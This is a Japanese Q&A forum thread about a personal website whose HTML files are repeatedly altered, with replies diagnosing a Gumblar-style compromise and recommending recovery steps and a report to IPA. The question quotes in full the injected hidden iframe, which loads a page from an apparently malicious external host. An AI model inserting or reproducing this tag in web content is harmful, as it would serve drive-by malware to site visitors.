ホームページが勝手に書き換わる ウイルス？

質問

個人でHPページを開設しているますが、ある時間になるとHTMLの内容が勝手に書き換わってしまいます。
何かわかる方教えてください。

※ある時間になるとHPのサーバエリアのHTML全てに以下の文が勝手に挿入されてしまう。
<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://wypromuj.nazwa.pl/cmof.html?i=3353573></iframe></body></html>

回答No.6

anti-leak

主さんこちらへ

http://www.ipa.go.jp/security/contact/

回答No.5

lv4u

No.2です

>>ウイルスバスタでも見つけられないんでしょうか？

最近のマルウエアは、アンチウイルスソフトに検出されないことを確認して配布というか拡散させています。
ですから、ウイルスバスタで検出されないことは、普通にあります。
さらにマルウエアを集めて、市販のアンチウイルスソフトの検出率テストをやっても、それらは検出率１００％にならないのが普通です。
マルウエアは刻々と亜種に変わっていくものもありますから、現在、検出は極めて難しくなっていると思います。

そして最近は、コマンドサーバで指示されたときだけ、マルウエアとして稼動するものもあるといいます。
ですから、セキュリティの研究所が頑張っても、悪意のあるソフトかどうか、どんな動作をするのか？を調べるのは難しいんです。

最新の日経コンピュータの特集は、「もうサイバー攻撃は防げない」です。
現在は、サイバー攻撃を防ぐことは不可能と認識されています。
つまり、入り口対策しても、必ずサイバー攻撃で突破される。なので、感染した後、どう対処するか、という出口対策にセキュリティ対策の重点が移りつつあります。

Ｐ．Ｓ．
質問者さんは、２００９年末から流行している「ガンブラー攻撃」を受けたと思います。

補足

ウイルスバスターは最新にしてウイルススキャンしてもウイルスは見つかりませんでした。OSも最新（Windows8）です。
これでもウイルスに感染してるんでしょうか？

回答No.4

koi1234

この記事のRSSフィードがウイルス検出されて大迷惑だったりします

いまさら手遅れですが自分で怪しいとわかってるならどこか一部伏せるとか
考えて投稿してほしいです

回答No.3

hirama_24

どこのサイトなの？
フレームごとに自動的に広告を出すようにタグを追加するサイトは多いよ

有料会員じゃないと広告非表示に設定できないとか

回答No.2

lv4u

ヤバイですね。ホームページ管理者である質問者さんのＰＣがマルウエアにヤラれてボットになっているか、アップロード用のＩＤ，ＰＷが盗まれた状況ですよ！
書き換えられたものは、インナーフレームで、質問者さんのＨＰがマルウエア配布元となり、閲覧した人たちが、マルウエアに感染してしまっている可能性があります。
マルウエア（ウイルス）配布の有名な手法です。

緊急にＨＰを閉じて、アップロード用ＰＷの変更と、ご自身のＰＣをリカバリーしてください。
また、ＩＰＡにマルウエア被害を報告してください。

https://www.ipa.go.jp/security/outline/todoke-top-j.html

ちなみに、今年３月ことから、サイバー攻撃が酷くなっています。巨大サイト、有名サイトだけでなく、小さな個人のＨＰまでもターゲットになっているように思えます。

補足

PCにはウイルスバスタークラウドを入れていますが、ウイルス感染は見つけられません。
ウイルスバスタでも見つけられないんでしょうか？

回答No.1

DarkMoon

もしかしてツイッターと連動する機能を実装していませんか？

私はHP開設経験が無いのですが、
お使いのサーバ会社の方に問い合せる方が早いと思います。